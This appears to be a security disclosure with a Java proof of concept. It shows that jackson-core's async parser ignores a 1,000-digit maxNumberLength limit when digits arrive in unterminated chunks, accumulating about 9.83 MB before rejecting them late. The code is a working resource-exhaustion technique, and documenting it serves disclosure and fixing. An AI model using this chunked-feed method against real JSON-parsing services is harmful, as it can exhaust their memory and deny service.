jackson-core Async Parser maxNumberLength Bypass via Chunked Digit Accumulation (Incomplete Fix)

import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Async parser, chunked feed, no terminator byte sent.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        // 16 KiB digit chunks, no closing byte.
        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            // Returns NOT_AVAILABLE every iteration; validator never fires.
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("unexpected token: " + t);
                return;
            }
        }
        // ~9.83 MB accumulated with maxNumberLength=1000.
        System.out.println("BUG: async parser accepted ~9.83 MB of digits");

        // Validator only fires when the terminator finally arrives.
        feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
        feeder.endOfInput();
        try {
            while (ap.nextToken() != null) { /* drive */ }
        } catch (Exception e) {
            System.out.println("Late rejection: " + e.getMessage().split("\n")[0]);
        }
        ap.close();
    }
}